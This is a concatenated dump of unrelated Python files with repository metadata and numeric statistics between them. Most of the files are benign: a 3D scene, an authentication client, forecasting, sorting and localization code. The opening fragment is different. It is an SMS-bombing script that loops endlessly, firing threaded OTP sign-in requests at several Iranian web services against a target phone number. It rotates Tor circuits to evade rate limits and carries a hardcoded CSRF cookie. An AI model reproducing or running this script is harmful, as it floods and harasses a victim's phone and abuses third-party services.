"https://bama.ir/Signin?ReturnUrl\u003d%2Fprofile","accept-encoding": "gzip, deflate, br","accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6","cookie": "CSRF-TOKEN-BAMA-COOKIE\u003dCfDJ8N00ikLDmFVBoTe5ae5U4a1o5aOrFp-FIHLs7P3VvLI7yo6xSdyY3sJ5GByfUKfTPuEgfioiGxRQo4G4JzBin1ky5-fvZ1uKkrb_IyaPXs1d0bloIEVe1VahdjTQNJpXQvFyt0tlZnSAZFs4eF3agKg"} bamaD = "cellNumber=0"+phone.split("+98")[1] try: bamaR = requests.post("https://bama.ir/signin-checkforcellnumber", headers=bamaH, data=bamaD, proxies=proxy) if "0" in bamaR.text: print ("sended sms:)") else: print ("Error!") except: print ("Error!") def main(): phone = str(input("Target Phone (+98xxx): ")) while True: Thread(target=snap, args=[phone]).start() Thread(target=shad, args=[phone]).start() Thread(target=gap, args=[phone]).start() Thread(target=tap30, args=[phone]).start() Thread(target=emtiaz, args=[phone]).start() Thread(target=divar, args=[phone]).start() Thread(target=rubika, args=[phone]).start() Thread(target=torob, args=[phone]).start() Thread(target=bama, args=[phone]).start() os.system("killall -HUP tor") time.sleep(3) if __name__ == "__main__": main()

73.20979

1,080

0.650014

1,403

10,469

4.826087

0.190306

0.037218

0.011815

0.022596

0.561217

0.483828

0.478807

0.45621

0.451189

0

0.088701

0.142803

10,469

142

1,081

73.725352

0.665812

0.009648

0

0.452174

0

0.165217

0.611084

0.172231

0

1

0.086957

false

0.026087

0.034783

0

0.121739

0.226087

0

null

0

1

0

1

0

null

0

2

2b4bf872bc2a27fddc6346a99b6908fbc9a52903

515

py

Python

tets.py

Parzival129/XML-use-webcam-detection

2bde84882317b6abfe25cb1e52d8aed5c0896e20

[ "MIT" ]

null

tets.py

Parzival129/XML-use-webcam-detection

2bde84882317b6abfe25cb1e52d8aed5c0896e20

[ "MIT" ]

null

tets.py

Parzival129/XML-use-webcam-detection

2bde84882317b6abfe25cb1e52d8aed5c0896e20

[ "MIT" ]

1

2021-08-10T14:33:24.000Z

from ursina import * from ursina.prefabs.first_person_controller import FirstPersonController import random import time app = Ursina() from ursina.shaders import lit_with_shadows_shader # you have to apply this shader to enties for them to recieve shadows. EditorCamera() Entity(model='plane', scale=10, color=color.gray, shader=lit_with_shadows_shader) Entity(model='cube', y=1,color=color.cyan, shader=lit_with_shadows_shader) pivot = Entity() DirectionalLight(parent=pivot, y=2, z=3, shadows=True) app.run()

30.294118

121

0.8

78

515

5.141026

0.576923

0.074813

0.104738

0.149626

0.129676

0

0.010823

0.102913

515

16

122

32.1875

0.857143

0.132039

0

0.020225

0

1

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false

0

0.416667

0

0.416667

0

null

0

null

0

1

0

1

2b4cafa0713ccff87fbd45632542831ae46ce20c

3,331

py

Python

cdap-authentication-clients/python/cdap_auth_client/basic_authentication_client.py

ThalesGroup/cdap-clients

46c31377d3f3652bb0af1b461905aca4bae792ce

[ "Apache-2.0" ]

1

2020-02-08T08:45:47.000Z

cdap-authentication-clients/python/cdap_auth_client/basic_authentication_client.py

ThalesGroup/cdap-clients

46c31377d3f3652bb0af1b461905aca4bae792ce

[ "Apache-2.0" ]

2

2020-03-09T11:31:19.000Z

2020-03-11T08:00:51.000Z

cdap-authentication-clients/python/cdap_auth_client/basic_authentication_client.py

ThalesGroup/cdap-clients

46c31377d3f3652bb0af1b461905aca4bae792ce

[ "Apache-2.0" ]

5

2019-05-17T10:44:49.000Z

2022-03-21T18:54:58.000Z

# -*- coding: utf-8 -*- # Copyright © 2014 Cask Data, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. import base64 import logging import json from .abstract_authentication_client import AbstractAuthenticationClient from .credential import Credential LOG = logging.getLogger(__name__) class BasicAuthenticationClient(AbstractAuthenticationClient): USERNAME_PROP_NAME = u'security_auth_client_username' PASSWORD_PROP_NAME = u'security_auth_client_password' VERIFY_CERT_PROP_NAME = u'security_ssl_cert_check' DEFAULT_VERIFY_SSL_CERT = True def __init__(self): super(BasicAuthenticationClient, self).__init__() self.__username = None self.__password = None self.__security_ssl_cert_check = False self.__credentials = (Credential(self.USERNAME_PROP_NAME, u'Username for basic authentication.', False), Credential(self.PASSWORD_PROP_NAME, u'Password for basic authentication.', True)) @property def username(self): return self.__username @username.setter def username(self, username): self.__username = username @property def password(self): return self.__password @password.setter def password(self, password): self.__password = password def get_required_credentials(self): return self.__credentials def fetch_access_token(self): if not self.__username or not self.__password: raise ValueError(u'Base authentication client' u' is not configured!') LOG.debug(u'Authentication is enabled in the gateway server.' u' Authentication URI %s.' % self.auth_url) base64string = base64.b64encode( (u'%s:%s' % (self.__username, self.__password)).encode('utf-8')) auth_header = json.dumps( {u"Authorization": u"Basic %s" % base64string.decode('utf-8')}) return self.execute(auth_header) def ssl_verification_status(self): return self.__security_ssl_cert_check def configure(self, properties): if self.__username or self.__password: raise ValueError(u'Client is already configured!') self.__username = properties.get(self.USERNAME_PROP_NAME) if not self.__username: raise ValueError(u'The username property cannot be empty.') self.__password = properties.get(self.PASSWORD_PROP_NAME) if not self.__password: raise ValueError(u'The password property cannot be empty.') self.__security_ssl_cert_check = properties.get(self.VERIFY_CERT_PROP_NAME, self.DEFAULT_VERIFY_SSL_CERT)

36.206522

113

0.667067

389

3,331

5.439589

0.354756

0.062382

0.021267

0.037807

0.136578

0.05482

0

0.008481

0.25668

3,331

91

114

36.604396

0.845719

0.17172

0

0.033898

0

0.147959

0.029519

0

1

0.152542

false

0.254237

0.084746

0.067797

0.40678

0

null

0

null

0

1

0

1

2b4fc66f8378ab47766265034b510874f15cbe9d

1,784

py

Python

historian.py

callahad/historian

710f7bcacaa65bde666b120dd9a77fb1dd5cde52

[ "MIT" ]

2

2016-07-01T21:44:21.000Z

2016-07-04T01:40:46.000Z

historian.py

callahad/historian

710f7bcacaa65bde666b120dd9a77fb1dd5cde52

[ "MIT" ]

null

historian.py

callahad/historian

710f7bcacaa65bde666b120dd9a77fb1dd5cde52

[ "MIT" ]

null

#!/usr/bin/env python3 """Historian discovers what you did last quarter.""" from datetime import datetime, timezone from os import mkdir from shutil import rmtree from sys import exit from configobj import ConfigObj import sources def main(): """Generate reports of online activity.""" try: config = ConfigObj('config.ini', interpolation=False, file_error=True) except IOError: exit('Error: File Not Found "config.ini"') # FIXME: Hardcoded start / end dates, currently 2016 Q2 start = datetime(2016, 4, 1).replace(tzinfo=timezone.utc) end = datetime(2016, 7, 1).replace(tzinfo=timezone.utc) # Initialize all sources reporters = {} for source_name, params in config['Sources'].items(): try: key = source_name.lower() constructor = sources.__getattribute__(source_name) reporters[key] = constructor(**params, start=start, end=end) except AttributeError: print('No source found: %s' % source_name) continue # Prepare a clean output directory rmtree('out', ignore_errors=True) mkdir('out') # Generate a report for each user for name, accounts in config['Users'].items(): print('%s:' % name) with open('out/%s.md' % name, 'w') as f: for source, identity in accounts.items(): if source not in reporters: print(' - %s (skipped: source not enabled)' % source) continue print(' - %s' % source) reporter = reporters[source] f.write('### %s\n\n' % reporter.__class__.__name__) f.write(reporter.report(identity)) f.write('\n') if __name__ == '__main__': main()

30.237288

78

0.598094

208

1,784

5.004808

0.485577

0.038425

0.026897

0.042267

0.048031

0

0.014129

0.285874

1,784

58

79

30.758621

0.802983

0.138453

0

0.105263

0

0.105125

0

0.017241

0

1

0.026316

false

0

0.157895

0

0.184211

0.105263

0

null

0

null

0

1

0

1

2b522e42fdec51401cf2c96d9e000b4b82299579

4,445

py

Python

analysis/model_selection/stage1/amb_forecast/ensemble.py

TomMonks/swast-benchmarking

96964fb705a8b3cebbce8adcf03e42d4fc3dd05a

[ "MIT" ]

null

analysis/model_selection/stage1/amb_forecast/ensemble.py

TomMonks/swast-benchmarking

96964fb705a8b3cebbce8adcf03e42d4fc3dd05a

[ "MIT" ]

null

analysis/model_selection/stage1/amb_forecast/ensemble.py

TomMonks/swast-benchmarking

96964fb705a8b3cebbce8adcf03e42d4fc3dd05a

[ "MIT" ]

1

2021-11-16T14:38:22.000Z

import numpy as np import pandas as pd from abc import ABC, abstractmethod class AbstractEnsembleVote(ABC): @abstractmethod def fit(self, train): pass @abstractmethod def predict(self, predictions): pass class UnweightedVote(AbstractEnsembleVote): def __init__(self): pass def fit(self, train, y=None): pass def predict(self, predictions): ''' Parameters: ------ predictions - numpy.array. matrix of predictions from ensemble of models ''' return np.nan_to_num(predictions).mean(axis=0) class WeightedVote(AbstractEnsembleVote): def __init__(self, weights): self._weights = weights def fit(self, train, y=None): pass def predict(self, predictions): ''' Parameters: ------ predictions - numpy.array. matrix of predictions from ensemble of models ''' return np.average(np.nan_to_num(predictions), weights=self._weights) class Ensemble: ''' Encapsulates a set of forecasting models and a meta learner (e.g. simple average or weighted average) that combines them. ''' def __init__(self, estimators, meta_learner, include_exog=False, rescale_preds=False): ''' Constructor Parameters: ------- estimators - dict of forecast estimators vote - AbstractEnsembleVote object e.g. UnweightedVote ''' self._estimators = estimators self._vote = meta_learner self._y_train = None self._exog = include_exog self._rescale_preds = rescale_preds def _get_fitted(self): #broken return self._fitted['pred'] def _get_resid(self): #broken return self._fitted['resid'] def fit(self, train): preds = [] for key, estimator in self._estimators.items(): estimator.fit(train) preds.append(estimator.fittedvalues) if len(train.shape) > 1: y_train = train[:, 0] x_train = train[:, 1:] else: y_train = None x_train = None if isinstance(x_train, (np.ndarray)) and self._exog: x_train = np.concatenate([preds, x_train.T]).T else: x_train = np.array(preds) self._vote.fit(x_train, y=y_train) #This needs sorting... #self._fitted = pd.DataFrame(y_train) #self._fitted.columns=['actual'] #self._fitted['pred'] = self._vote.combine(np.array(preds)) #self._fitted['resid'] = self._fitted['actual'] - self._fitted['pred'] def predict(self, horizon, return_conf_int=False, alpha=0.2): self._preds = [] self._lower_pi = [] self._upper_pi = [] for key, estimator in self._estimators.items(): results = estimator.predict(horizon, return_conf_int=return_conf_int, alpha=alpha) if return_conf_int: preds, pis = results self._preds.append(preds) self._lower_pi.append(pis.T[0]) self._upper_pi.append(pis.T[1]) else: self._preds.append(results) #print(type(horizon)) if isinstance(horizon, (np.ndarray, pd.DataFrame)) and self._exog: if isinstance(horizon, (pd.DataFrame)): horizon = horizon.to_numpy() x_train = np.concatenate([self._preds, horizon.T]).T else: x_train = np.array(self._preds) x_train_lower = np.array(self._lower_pi) x_train_upper = np.array(self._upper_pi) #print('predict shape ', x_train.shape) ensemble_preds = self._vote.predict(x_train) if return_conf_int: ensemble_lower = self._vote.predict(x_train_lower) ensemble_upper = self._vote.predict(x_train_upper) ensemble_pis = np.array([ensemble_lower, ensemble_upper]) return ensemble_preds, ensemble_pis.T else: return ensemble_preds #return self._vote.predict(x_train), [] fittedvalues = property(_get_fitted) resid = property(_get_resid)

28.312102

78

0.564004

483

4,445

4.94617

0.219462

0.040184

0.016743

0.025115

0.226036

0.152365

0.106321

0

0.002714

0.336783

4,445

157

79

28.312102

0.807666

0.171654

0

0.267442

0

0.002568

0

1

0.151163

false

0.05814

0.034884

0.023256

0.325581

0

null

0

null

0

1

0

1

2b5509332abe32e34973d35ac1a06d05d2a1a9d0

1,581

py

Python

Code/ReceiverZX.py

eastOffice/MsgBrokerTest

5139fff386c73bf05afdfa63c827b6ba36405cdb

[ "MIT" ]

null

Code/ReceiverZX.py

eastOffice/MsgBrokerTest

5139fff386c73bf05afdfa63c827b6ba36405cdb

[ "MIT" ]

null

Code/ReceiverZX.py

eastOffice/MsgBrokerTest

5139fff386c73bf05afdfa63c827b6ba36405cdb

[ "MIT" ]

null

#!/usr/bin/env python import pika import random import time import sys import datetime import QoECurve ''' MsgBroker Configuration ''' max_priority = 250 connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() c_properties = dict() c_properties['x-max-priority'] = max_priority channel.queue_declare(queue='hello', durable=False, arguments = c_properties) ''' Msg Handler ''' def datahandler(body): # print(str(body)) message_body = str(body).split() message_body[0] = message_body[0].strip('b\'') # time when generating requests message_body[1] = message_body[1].strip('\'') # request non back end delay # message_body[2] = message_body[2].strip('\'') # message index # message_index = int(message_body[2]) # print(message_body[0]) now_time = int(round(time.time() * 1000)) e2e_latency = now_time - int(message_body[0]) + int(message_body[1]) + 0.0 # total e2e dealy #back_end_zero = int(message_body[1]) # only non back end delay sa, sb = QoECurve.QoECurve(e2e_latency) #sa_d, sb_d = QoECurve.QoECurve(back_end_zero) print(sa) time.sleep(0.005) def callback(ch, method, properties, body): #print(" [x] Received " + str(body) + ' ' + str(datetime.datetime.now())) datahandler(body) channel.basic_ack(delivery_tag = method.delivery_tag) channel.basic_qos(prefetch_count=1) channel.basic_consume(callback, queue='hello' ) print(' [*] Waiting for messages. To exit press CTRL+C') channel.start_consuming()

29.277778

96

0.68754

212

1,581

4.957547

0.424528

0.125595

0.045671

0.028544

0

0.02144

0.173941

1,581

53

97

29.830189

0.783308

0.259962

0

0.074977

0

1

0.066667

false

0

0.2

0

0.266667

0.066667

0

null

0

null

0

1

0

2b5653d2af00c13103b575ebb27d1a523e5c40b6

1,723

py

Python

problem12.py

rentes/Euler

e28b536a15f2e795f886a5df261d38bb0181be07

[ "MIT" ]

1

2019-05-29T23:54:24.000Z

problem12.py

rentes/Euler

e28b536a15f2e795f886a5df261d38bb0181be07

[ "MIT" ]

null

problem12.py

rentes/Euler

e28b536a15f2e795f886a5df261d38bb0181be07

[ "MIT" ]

null

"""Project Euler - Problem 12 - http://projecteuler.net/problem=12""" import sys import time import tools.timeutils as timeutils def number_of_factors(n): """ Returns the number of factors of number n Using a list to keep the factors found of number n """ max_limit = 0 nr_factors = 2 # 1 and n are always factors for m in range(2, n): if n % m == 0: # found a new factor nr_factors += 1 # I only have to divide n by m until m reaches the result of # the quotient of the first factor encountered # for example: consider number 28. the first factor is 2 and # the quotient gives 14, since 28 / 2 = 14. 14 is then the max # limit where m has to increase to, because we know for sure that # any m > 14 will not be a factor of 28, and we break the cycle # when this condition occurs. This way we only have to make less # divisions to find out all the factors of number n quotient = int(n / m) if max_limit < quotient: max_limit = quotient if m > max_limit: break return nr_factors def main(): """Main entry point for the script""" start = time.time() triangular_number = 1 n = 2 while number_of_factors(triangular_number) <= 500: triangular_number += n n += 1 timeutils.elapsed_time(time.time() - start) print(triangular_number) def test_number_of_factors(): """Testing the number of factors method [problem 12]""" assert number_of_factors(28) == 6 assert number_of_factors(76576500) > 500 if __name__ == '__main__': sys.exit(main())

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0.612304

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4.047431

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0.054688

0.102539

0.035156

0

0.040644

0.314568

1,723

57

78

30.22807

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1

0.103448

false

0

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0

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0.034483

0

null

0

null

0

1

0

2b56b38a493baecfbe24f9c81a16e03dcfd892d0

5,203

py

Python

external_code/Correlations_pipeline/MultivariateXWASCorr.py

SamuelDiai/Dash-Website

e064e432f14a86de1b54cf31ab311997c5643129

[ "MIT" ]

null

external_code/Correlations_pipeline/MultivariateXWASCorr.py

SamuelDiai/Dash-Website

e064e432f14a86de1b54cf31ab311997c5643129

[ "MIT" ]

null

external_code/Correlations_pipeline/MultivariateXWASCorr.py

SamuelDiai/Dash-Website

e064e432f14a86de1b54cf31ab311997c5643129

[ "MIT" ]

null

from scipy import stats import pandas as pd import numpy as np path_mutlivariate_feat_imps = '/n/groups/patel/samuel/EWAS/feature_importances_paper/' Environmental = ['Clusters_Alcohol', 'Clusters_Diet', 'Clusters_Education', 'Clusters_ElectronicDevices', 'Clusters_Employment', 'Clusters_FamilyHistory', 'Clusters_Eyesight', 'Clusters_Mouth', 'Clusters_GeneralHealth', 'Clusters_Breathing', 'Clusters_Claudification', 'Clusters_GeneralPain', 'Clusters_ChestPain', 'Clusters_CancerScreening', 'Clusters_Medication', 'Clusters_Hearing', 'Clusters_Household', 'Clusters_MentalHealth', 'Clusters_OtherSociodemographics', 'Clusters_PhysicalActivityQuestionnaire', 'Clusters_SexualFactors', 'Clusters_Sleep', 'Clusters_SocialSupport', 'Clusters_SunExposure', 'Clusters_EarlyLifeFactors', 'Clusters_Smoking'] Biomarkers = ['Clusters_PhysicalActivity', 'Clusters_HandGripStrength', 'Clusters_BrainGreyMatterVolumes', 'Clusters_BrainSubcorticalVolumes', 'Clusters_HeartSize', 'Clusters_HeartPWA', 'Clusters_ECGAtRest', 'Clusters_AnthropometryImpedance', 'Clusters_UrineBiochemistry', 'Clusters_BloodBiochemistry', 'Clusters_BloodCount', 'Clusters_EyeAutorefraction', 'Clusters_EyeAcuity', 'Clusters_EyeIntraoculaPressure', 'Clusters_BraindMRIWeightedMeans', 'Clusters_Spirometry', 'Clusters_BloodPressure', 'Clusters_AnthropometryBodySize', 'Clusters_ArterialStiffness', 'Clusters_CarotidUltrasound', 'Clusters_BoneDensitometryOfHeel', 'Clusters_HearingTest', 'Clusters_CognitiveFluidIntelligence', 'Clusters_CognitiveMatrixPatternCompletion', 'Clusters_CognitiveNumericMemory', 'Clusters_CognitivePairedAssociativeLearning', 'Clusters_CognitivePairsMatching', 'Clusters_CognitiveProspectiveMemory', 'Clusters_CognitiveReactionTime', 'Clusters_CognitiveSymbolDigitSubstitution', 'Clusters_CognitiveTowerRearranging', 'Clusters_CognitiveTrailMaking'] Pathologies = ['medical_diagnoses_%s' % letter for letter in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']] Clusters = [] All = Environmental + Biomarkers + Pathologies #+ ['Genetics'] organs = ['\*', '*instances01', '*instances1.5x', '*instances23', 'Abdomen' , 'AbdomenLiver' , 'AbdomenPancreas' , 'Arterial' , 'ArterialCarotids' , 'ArterialPulseWaveAnalysis' , 'Biochemistry' , 'BiochemistryBlood' , 'BiochemistryUrine' , 'Brain' , 'BrainCognitive' , 'BrainMRI' , 'Eyes' , 'EyesAll' , 'EyesFundus' , 'EyesOCT' , 'Hearing' , 'Heart' , 'HeartECG' , 'HeartMRI' , 'ImmuneSystem' , 'Lungs' , 'Musculoskeletal' , 'MusculoskeletalFullBody' , 'MusculoskeletalHips' , 'MusculoskeletalKnees' , 'MusculoskeletalScalars' , 'MusculoskeletalSpine' , 'PhysicalActivity'] path_heritability = '/n/groups/patel/Alan/Aging/Medical_Images/GWAS_hits_Age' def Create_data(corr_type, model): df_corr_env = pd.DataFrame(columns = ['env_dataset', 'organ_1', 'organ_2', 'corr', 'sample_size']) for env_dataset in All: print("Env dataset : ", env_dataset) for organ_1 in organs: try : df_1 = pd.read_csv(path_mutlivariate_feat_imps + 'FeatureImp_%s_%s_%s.csv' % (env_dataset, organ_1, model)).set_index('features').fillna(0) except FileNotFoundError as e: continue for organ_2 in organs: try : df_2 = pd.read_csv(path_mutlivariate_feat_imps + 'FeatureImp_%s_%s_%s.csv' % (env_dataset, organ_2, model)).set_index('features').fillna(0) except FileNotFoundError as e: #print(e) continue try : if corr_type == 'Spearman': corr, _ = stats.spearmanr(df_1.weight, df_2.weight) elif corr_type == 'Pearson': corr, _ = stats.pearsonr(df_1.weight, df_2.weight) except ValueError: commun_indexes = df_1.weight.index.intersection(df_2.weight.index) if corr_type == 'Spearman': corr, _ = stats.spearmanr(df_1.weight.loc[commun_indexes], df_2.weight.loc[commun_indexes]) elif corr_type == 'Pearson': corr, _ = stats.pearsonr(df_1.weight.loc[commun_indexes], df_2.weight.loc[commun_indexes]) sample_size = len(df_1.weight) df_corr_env = df_corr_env.append({'env_dataset' : env_dataset, 'organ_1' : organ_1, 'organ_2' :organ_2, 'corr' :corr, 'sample_size' : sample_size}, ignore_index = True) df_corr_env.to_csv('/n/groups/patel/samuel/EWAS/Correlations/CorrelationsMultivariate_%s_%s.csv'% (corr_type, model)) for model in ['LightGbm', 'ElasticNet', 'NeuralNetwork']: for corr_type in ['Pearson', 'Spearman']: Create_data(corr_type, model)

74.328571

573

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478

5,203

6.711297

0.42887

0.01995

0.016833

0.027431

0.201995

0.160848

0.155237

0

0.007758

0.231982

5,203

69

574

75.405797

0.795045

0.004228

0

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0.443221

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false

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0.016667

0

null

0

null

0

1

0

2b57ab90dea74a7557a373ef4b1e5309bd66e57b

2,255

py

Python

tf_encrypted/protocol/protocol.py

bendecoste/tf-encrypted

00c9b80435411299a518f777de644c61d64cceea

[ "Apache-2.0" ]

null

tf_encrypted/protocol/protocol.py

bendecoste/tf-encrypted

00c9b80435411299a518f777de644c61d64cceea

[ "Apache-2.0" ]

null

tf_encrypted/protocol/protocol.py

bendecoste/tf-encrypted

00c9b80435411299a518f777de644c61d64cceea

[ "Apache-2.0" ]

null

from abc import ABC, abstractmethod import functools from typing import Optional, Type, Any, Callable from types import TracebackType import tensorflow as tf from ..tensor.factory import AbstractTensor __PROTOCOL__ = None global_cache_updators = list() nodes = dict() class Protocol(ABC): """ Protocol is the base class that other protocols in tf-encrypted will extend from. Do not directly instantiate this class. You should use a subclass instead, such as :class:`~tensorflow_encrypted.protocol.protocol.SecureNN` """ def __enter__(self) -> 'Protocol': set_protocol(self) return self def __exit__(self, type: Optional[Type[BaseException]], value: Optional[Exception], traceback: Optional[TracebackType]) -> Optional[bool]: set_protocol(None) return None @property @abstractmethod def initializer(self) -> tf.Operation: pass def set_protocol(prot: Optional[Protocol]) -> None: """ Sets the global protocol. E.g. :class:`~tensorflow_encrypted.protocol.securenn.SecureNN` or :class:`~tensorflow_encrypted.protocol.pond.Pond`. .. code-block::python tfe.set_protocol(tfe.protocol.secureNN()) :param ~tensorflow_encrypted.protocol.protocol.Protocol prot: An instance of a tfe protocol. """ global __PROTOCOL__ __PROTOCOL__ = prot def get_protocol() -> Optional[Protocol]: """ :rtype: ~tensorflow_encrypted.protocol.protocol.Protocol :returns: The global protocol. """ return __PROTOCOL__ def global_caches_updator() -> tf.Operation: with tf.name_scope('cache_update'): return tf.group(*global_cache_updators) def memoize(func: Callable) -> Callable: @functools.wraps(func) def cache_nodes(self: Protocol, *args: Any, **kwargs: Any) -> AbstractTensor: args = tuple(tuple(x) if isinstance(x, list) else x for x in args) node_key = (func.__name__, args, tuple(sorted(kwargs.items()))) cached_result = nodes.get(node_key, None) if cached_result is not None: return cached_result result = func(self, *args, **kwargs) nodes[node_key] = result return result return cache_nodes

27.168675

145

0.68071

267

2,255

5.546816

0.397004

0.064821

0.091155

0.064821

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0

0.218182

2,255

82

146

27.5

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0.012771

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false

0.02381

0.142857

0

0.52381

0

null

0

null

0

1

0

1

2b581a0af9feed5e1273d75efc1dc50c412e4639

42

py

Python

sfm/ui/__init__.py

Tanych/gh-sfm-ui

bba2319018fb55bb1b4031377879e5611d7a9036

[ "MIT" ]

129

2015-10-08T18:49:38.000Z

2022-02-19T23:16:24.000Z

sfm/ui/__init__.py

Tanych/gh-sfm-ui

bba2319018fb55bb1b4031377879e5611d7a9036

[ "MIT" ]

941

2015-08-31T17:57:54.000Z

2022-03-16T22:02:34.000Z

sfm/ui/__init__.py

Tanych/gh-sfm-ui

bba2319018fb55bb1b4031377879e5611d7a9036

[ "MIT" ]

31

2016-03-06T09:25:02.000Z

2021-02-03T11:53:29.000Z

default_app_config = 'ui.config.UIConfig'

21

41

0.809524

6

42

5.333333

0.833333

0

0.071429

42

1

42

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0

0.428571

0

1

0

false

0

1

0

null

0

1

0

null

0

3

2b58ade6112166878322d31fab707c7a8ad56963

820

py

Python

Python/CountingSort.py

lonelycoder2004/hacktoberfest2020-3

b481f995ea1a8c25aa4e467d43b334e118025a8b

[ "MIT" ]

71

2020-10-06T05:53:59.000Z

2021-11-27T03:14:42.000Z

Python/CountingSort.py

lonelycoder2004/hacktoberfest2020-3

b481f995ea1a8c25aa4e467d43b334e118025a8b

[ "MIT" ]

92

2020-10-05T19:18:14.000Z

2021-10-09T04:35:16.000Z

Python/CountingSort.py

lonelycoder2004/hacktoberfest2020-3

b481f995ea1a8c25aa4e467d43b334e118025a8b

[ "MIT" ]

572

2020-10-05T20:11:28.000Z

2021-10-10T16:28:29.000Z

#setup def countingSort(a = []): finalList = [0] * len(a) maxVal = a[0] minVal = a[0] for i in range(1, len(a)): if a[i] > maxVal: maxVal = a[i] elif a[i] < minVal: minVal = a[i] k = maxVal - minVal + 1 countList = [0]*k for i in range(0, len(a)): countList[a[i] - minVal] += 1 for i in range(1, k): countList[i] += countList[i - 1] for i in range(0, len(a)): finalList[countList[a[i] - minVal] - 1] = a[i] countList[a[i] - minVal] -= 1 for i in range(0, len(a)): a[i] = finalList[i] #main a = [1, 5, 2, 7, 3, 4, 4, 1, 5] for i in range(len(a)): print(a[i], end = " ") countingSort(a) print() for i in range(len(a)): print(a[i], end = " ")

20.5

55

0.452439

130

820

2.853846

0.2

0.059299

0.113208

0.207547

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0.350404

0.291105

0.134771

0

0.044402

0.368293

820

39

56

21.025641

0.671815

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false

0

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0.111111

0

null

0

1

0

null

0

1

2b58d366bf3ed1f98d609fd61a964c71dab67651

8,544

py

Python

dataset2/Channel-PFLocalization-DataSet2.py

herolab-uga/pf-doa-localization

f6d4f3b5bafdde7a9afa905b96378fdc113f70f6

[ "MIT" ]

3

2022-01-17T14:29:26.000Z

2022-03-31T13:06:55.000Z

dataset2/Channel-PFLocalization-DataSet2.py

herolab-uga/pf-doa-localization

f6d4f3b5bafdde7a9afa905b96378fdc113f70f6

[ "MIT" ]

null

dataset2/Channel-PFLocalization-DataSet2.py

herolab-uga/pf-doa-localization

f6d4f3b5bafdde7a9afa905b96378fdc113f70f6

[ "MIT" ]

null

import math import numpy as np import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from matplotlib import pyplot as pb import random from datetime import datetime import time import sys import csv def dist(x, y, pos): return math.sqrt((pos[0]-x)**2 + (pos[1]-y)**2) areaSize=(10, 10) node_pos=[(0,0),(10,0),(10,10),(0,10)] centroid = (sum([node_pos[i][0] for i in range(len(node_pos))])/len(node_pos) , sum([node_pos[i][1] for i in range(len(node_pos))])/len(node_pos)) possible_x = list(range(10, 90)) possible_y = list(range(10, 90)) num_particles = 200 def gen_wifi(freq=2.4, power=20, trans_gain=0, recv_gain=0, size=areaSize, pos=(5,5), shadow_dev=1 , n=2,rss0=-40,noise=1): if pos is None: pos = (random.randrange(size[0]), random.randrange(size[1])) random.seed(datetime.now()) normal_dist = np.random.normal(0, shadow_dev, size=[size[0]+1, size[1]+1]) rss = [] random.seed(datetime.now()) for x in range(0,4): distance = dist(node_pos[x][0], node_pos[x][1], pos) val =rss0 - 10 * n * math.log10(distance) + normal_dist[int(pos[0])][int(pos[1])] rss.append(val-noise*random.random()) return rss rssi_dict = [] for i in range(4): with open(sys.argv[1]+"s"+str(i)+".csv") as f: dict_from_csv = [{k: v for k, v in row.items()} for row in csv.DictReader(f,delimiter=';', skipinitialspace=True)] rssi_dict.append(dict_from_csv) min_length = len(rssi_dict[0]) for i in range(1,4): if len(rssi_dict[i]) < min_length: min_length = len(rssi_dict[i]) RSS0 = -47 overall_rss={} original_tragectory={} path_loss_list = [] received_signal_log = [] for i in range(min_length): x , y = float(rssi_dict[0][i]['x']) , float(rssi_dict[0][i]['y']) # if (x,y) != Previous_pos: random.seed(datetime.now()) rss = [int(rssi_dict[0][i]['rssi'])-random.random(),int(rssi_dict[1][i]['rssi'])-random.random(),int(rssi_dict[2][i]['rssi'])-random.random(),int(rssi_dict[3][i]['rssi'])-random.random()] # if rssi_dict[0][i]['channel'] == rssi_dict[1][i]['channel'] == rssi_dict[2][i]['channel'] == rssi_dict[3][i]['channel']: if rssi_dict[3][i]['channel'] in overall_rss: if (x,y) in overall_rss[rssi_dict[3][i]['channel']]: overall_rss[rssi_dict[3][i]['channel']][(x,y)].append(rss) else : overall_rss[rssi_dict[3][i]['channel']][(x,y)] = [rss] # original_tragectory[rssi_dict[3][i]['channel']].append((x,y)) else : overall_rss[rssi_dict[3][i]['channel']] = {(x,y):[rss]} # if float(rssi_dict[0][i]['distance']) > 1.4 and float(rssi_dict[0][i]['distance']) < 1.5 : # RSS0 = int(rssi_dict[0][i]['rssi']) # elif float(rssi_dict[1][i]['distance']) > 1.4 and float(rssi_dict[1][i]['distance']) < 1.5: # RSS0 = int(rssi_dict[1][i]['rssi']) # elif float(rssi_dict[2][i]['distance']) > 1.4 and float(rssi_dict[2][i]['distance']) < 1.5 : # RSS0 = int(rssi_dict[2][i]['rssi']) # elif float(rssi_dict[3][i]['distance']) > 1.4 and float(rssi_dict[3][i]['distance']) < 1.5 : # RSS0 = int(rssi_dict[3][i]['rssi']) # for j in range(4): # path_loss_list.append(20-rss[j]) # received_signal_log.append(10*math.log10(float(rssi_dict[j][i]['distance']))) # Previous_pos = (x,y) # average_path_loss = np.average(path_loss_list) # average_received_signal_log = np.average(received_signal_log) # nominator = 0 # demonimator = 0 # for i in range(len(path_loss_list)): # nominator += (path_loss_list[i] - average_path_loss)*(received_signal_log[i] - average_received_signal_log) # demonimator += math.pow((received_signal_log[i] - average_received_signal_log),2) # pathloss_exponent = nominator / demonimator # doa=[] # for i in range(0,len(overall_rss)): # inner_curr = i # limit = i-500 if i>500 else 0 # est_sin_sum = 0 # est_cos_sum = 0 # starting_curr = inner_curr # weight_sum = 0 # # average estimated DoA calculated # while inner_curr >= limit: # gx = ((overall_rss[i][1]-overall_rss[i][0])/2) + ((overall_rss[i][2]-overall_rss[i][3])/2) # gy = ((overall_rss[i][2]-overall_rss[i][1])/2) + ((overall_rss[i][3]-overall_rss[i][0])/2) # estimated_grad=np.arctan(gy/gx) # if estimated_grad > math.pi: # estimated_grad 